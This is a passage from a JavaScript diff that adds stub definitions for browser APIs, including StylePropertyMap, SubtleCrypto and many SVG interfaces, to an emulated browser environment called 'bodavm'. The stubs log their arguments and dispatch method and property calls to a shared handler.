+ } else { + return v; + } + })); + if (!(this instanceof StylePropertyMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StylePropertyMap'], "StylePropertyMap"); +bodavm.memory.globalobj['StylePropertyMap'].prototype.__proto__ = bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype; +bodavm.memory.globalobj['StylePropertyMap'].__proto__ = bodavm.memory.globalobj['StylePropertyMapReadOnly']; +bodavm.toolsFunc.defineProperty('StylePropertyMap', "append", { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "append", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMap', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMap', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMap', "set", { + configurable: true, + enumerable: true, + writable: true, + value: function set() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "set", arguments); + } +}, 'prototype'); +// StyleSheetList对象 + +bodavm.memory.globalobj['StyleSheetList'] = function StyleSheetList() { + console.log_copy('StyleSheetList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof StyleSheetList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StyleSheetList'], "StyleSheetList"); +bodavm.toolsFunc.defineProperty('StyleSheetList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheetList'].prototype, "StyleSheetList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StyleSheetList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheetList'].prototype, "StyleSheetList", "item", arguments); + } +}, 'prototype'); +// SubmitEvent对象 + +bodavm.memory.globalobj['SubmitEvent'] = function SubmitEvent() { + console.log_copy('SubmitEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SubmitEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SubmitEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SubmitEvent'], "SubmitEvent"); +bodavm.memory.globalobj['SubmitEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['SubmitEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('SubmitEvent', "submitter", { + configurable: true, + enumerable: true, + get: function submitter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubmitEvent'].prototype, "SubmitEvent", "submitter_get", arguments); + }, + set: undefined +}, 'prototype'); +// SubtleCrypto对象 + +bodavm.memory.globalobj['SubtleCrypto'] = function SubtleCrypto() { + console.log_copy('SubtleCrypto 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SubtleCrypto)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SubtleCrypto'], "SubtleCrypto"); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "decrypt", { + configurable: true, + enumerable: true, + writable: true, + value: function decrypt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "decrypt", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "deriveBits", { + configurable: true, + enumerable: true, + writable: true, + value: function deriveBits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "deriveBits", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "deriveKey", { + configurable: true, + enumerable: true, + writable: true, + value: function deriveKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "deriveKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "digest", { + configurable: true, + enumerable: true, + writable: true, + value: function digest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "digest", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "encrypt", { + configurable: true, + enumerable: true, + writable: true, + value: function encrypt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "encrypt", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "exportKey", { + configurable: true, + enumerable: true, + writable: true, + value: function exportKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "exportKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "generateKey", { + configurable: true, + enumerable: true, + writable: true, + value: function generateKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "generateKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "importKey", { + configurable: true, + enumerable: true, + writable: true, + value: function importKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "importKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "sign", { + configurable: true, + enumerable: true, + writable: true, + value: function sign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "sign", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "unwrapKey", { + configurable: true, + enumerable: true, + writable: true, + value: function unwrapKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "unwrapKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "verify", { + configurable: true, + enumerable: true, + writable: true, + value: function verify() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "verify", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "wrapKey", { + configurable: true, + enumerable: true, + writable: true, + value: function wrapKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "wrapKey", arguments); + } +}, 'prototype'); +// SVGAElement对象 + +bodavm.memory.globalobj['SVGAElement'] = function SVGAElement() { + console.log_copy('SVGAElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAElement'], "SVGAElement"); +bodavm.memory.globalobj['SVGAElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGAElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGAElement', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAElement'].prototype, "SVGAElement", "target_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAElement'].prototype, "SVGAElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGAngle对象 + +bodavm.memory.globalobj['SVGAngle'] = function SVGAngle() { + console.log_copy('SVGAngle 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAngle)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAngle'], "SVGAngle"); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNSPECIFIED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_DEG", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_RAD", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_GRAD", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGAngle', "unitType", { + configurable: true, + enumerable: true, + get: function unitType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "unitType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "valueInSpecifiedUnits", { + configurable: true, + enumerable: true, + get: function valueInSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueInSpecifiedUnits_get", arguments); + }, + set: function valueInSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueInSpecifiedUnits_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "valueAsString", { + configurable: true, + enumerable: true, + get: function valueAsString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueAsString_get", arguments); + }, + set: function valueAsString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueAsString_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNSPECIFIED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_DEG", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_RAD", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_GRAD", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "convertToSpecifiedUnits", { + configurable: true, + enumerable: true, + writable: true, + value: function convertToSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "convertToSpecifiedUnits", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "newValueSpecifiedUnits", { + configurable: true, + enumerable: true, + writable: true, + value: function newValueSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "newValueSpecifiedUnits", arguments); + } +}, 'prototype'); +// SVGAnimatedAngle对象 + +bodavm.memory.globalobj['SVGAnimatedAngle'] = function SVGAnimatedAngle() { + console.log_copy('SVGAnimatedAngle 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedAngle)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedAngle'], "SVGAnimatedAngle"); +bodavm.toolsFunc.defineProperty('SVGAnimatedAngle', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedAngle'].prototype, "SVGAnimatedAngle", "baseVal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedAngle', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedAngle'].prototype, "SVGAnimatedAngle", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGAnimatedBoolean对象 + +bodavm.memory.globalobj['SVGAnimatedBoolean'] = function SVGAnimatedBoolean() { + console.log_copy('SVGAnimatedBoolean 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedBoolean)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedBoolean'], "SVGAnimatedBoolean"); +bodavm.toolsFunc.defineProperty('SVGAnimatedBoolean', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedBoolean'].prototype, "SVGAnimatedBoolean", "baseVal_get", arguments); + }, + set: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedBoolean'].prototype, "SVGAnimatedBoolean", "baseVal_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedBoolean', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedBoolean'].prototype, "SVGAnimatedBoolean", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGAnimatedEnumeration对象 + +bodavm.memory.globalobj['SVGAnimatedEnumeration'] = function SVGAnimatedEnumeration() { + console.log_copy('SVGAnimatedEnumeration 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedEnumeration)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedEnumeration'], "SVGAnimatedEnumeration"); +bodavm.toolsFunc.defineProperty('SVGAnimatedEnumeration', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedEnumeration'].prototype, "SVGAnimatedEnumeration", "baseVal_get", arguments); + }, + set: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedEnumeration'].prototype, "SVGAnimatedEnumeration", "baseVal_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedEnumeration', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedEnumeration'].prototype, "SVGAnimatedEnumeration", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGAnimatedInteger对象 + +bodavm.memory.globalobj['SVGAnimatedInteger'] = function SVGAnimatedInteger() { + console.log_copy('SVGAnimatedInteger 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedInteger)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedInteger'], "SVGAnimatedInteger"); +bodavm.toolsFunc.defineProperty('SVGAnimatedInteger', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedInteger'].prototype, "SVGAnimatedInteger", "baseVal_get", arguments); + }, + set: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedInteger'].prototype, "SVGAnimatedInteger", "baseVal_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedInteger', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedInteger'].prototype, "SVGAnimatedInteger", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGAnimatedLength对象 + +bodavm.memory.globalobj['SVGAnimatedLength'] = function SVGAnimatedLength() { + console.log_copy('SVGAnimatedLength 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedLength)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedLength'], "SVGAnimatedLength"); +bodavm.toolsFunc.defineProperty('SVGAnimatedLength', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLength'].prototype, "SVGAnimatedLength", "baseVal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedLength', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLength'].prototype, "SVGAnimatedLength", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGAnimatedLengthList对象 + +bodavm.memory.globalobj['SVGAnimatedLengthList'] = function SVGAnimatedLengthList() { + console.log_copy('SVGAnimatedLengthList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedLengthList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedLengthList'], "SVGAnimatedLengthList"); +bodavm.toolsFunc.defineProperty('SVGAnimatedLengthList', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLengthList'].prototype, "SVGAnimatedLengthList", "baseVal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedLengthList', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLengthList'].prototype, "SVGAnimatedLengthList", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGAnimatedNumber对象 + +bodavm.memory.globalobj['SVGAnimatedNumber'] = function SVGAnimatedNumber() { + console.log_copy('SVGAnimatedNumber 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedNumber)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedNumber'], "SVGAnimatedNumber"); +bodavm.toolsFunc.defineProperty('SVGAnimatedNumber', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumber'].prototype, "SVGAnimatedNumber", "baseVal_get", arguments); + }, + set: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumber'].prototype, "SVGAnimatedNumber", "baseVal_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedNumber', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumber'].prototype, "SVGAnimatedNumber", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGAnimatedNumberList对象 + +bodavm.memory.globalobj['SVGAnimatedNumberList'] = function SVGAnimatedNumberList() { + console.log_copy('SVGAnimatedNumberList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedNumberList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedNumberList'], "SVGAnimatedNumberList"); +bodavm.toolsFunc.defineProperty('SVGAnimatedNumberList', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumberList'].prototype, "SVGAnimatedNumberList", "baseVal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedNumberList', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumberList'].prototype, "SVGAnimatedNumberList", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGAnimatedPreserveAspectRatio对象 + +bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'] = function SVGAnimatedPreserveAspectRatio() { + console.log_copy('SVGAnimatedPreserveAspectRatio 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedPreserveAspectRatio)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'], "SVGAnimatedPreserveAspectRatio"); +bodavm.toolsFunc.defineProperty('SVGAnimatedPreserveAspectRatio', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'].prototype, "SVGAnimatedPreserveAspectRatio", "baseVal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedPreserveAspectRatio', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'].prototype, "SVGAnimatedPreserveAspectRatio", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGAnimatedRect对象 + +bodavm.memory.globalobj['SVGAnimatedRect'] = function SVGAnimatedRect() { + console.log_copy('SVGAnimatedRect 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedRect)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedRect'], "SVGAnimatedRect"); +bodavm.toolsFunc.defineProperty('SVGAnimatedRect', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedRect'].prototype, "SVGAnimatedRect", "baseVal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedRect', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedRect'].prototype, "SVGAnimatedRect", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGAnimatedString对象 + +bodavm.memory.globalobj['SVGAnimatedString'] = function SVGAnimatedString() { + console.log_copy('SVGAnimatedString 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedString)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedString'], "SVGAnimatedString"); +bodavm.toolsFunc.defineProperty('SVGAnimatedString', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedString'].prototype, "SVGAnimatedString", "baseVal_get", arguments); + }, + set: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedString'].prototype, "SVGAnimatedString", "baseVal_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedString', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedString'].prototype, "SVGAnimatedString", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGAnimatedTransformList对象 + +bodavm.memory.globalobj['SVGAnimatedTransformList'] = function SVGAnimatedTransformList() { + console.log_copy('SVGAnimatedTransformList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedTransformList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedTransformList'], "SVGAnimatedTransformList"); +bodavm.toolsFunc.defineProperty('SVGAnimatedTransformList', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedTransformList'].prototype, "SVGAnimatedTransformList", "baseVal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedTransformList', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedTransformList'].prototype, "SVGAnimatedTransformList", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGAnimationElement对象 + +bodavm.memory.globalobj['SVGAnimationElement'] = function SVGAnimationElement() { + console.log_copy('SVGAnimationElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimationElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimationElement'], "SVGAnimationElement"); +bodavm.memory.globalobj['SVGAnimationElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGAnimationElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "targetElement", { + configurable: true, + enumerable: true, + get: function targetElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "targetElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "onbegin", { + configurable: true, + enumerable: true, + get: function onbegin() { + return bodavm.toolsFunc.dispatch(this, 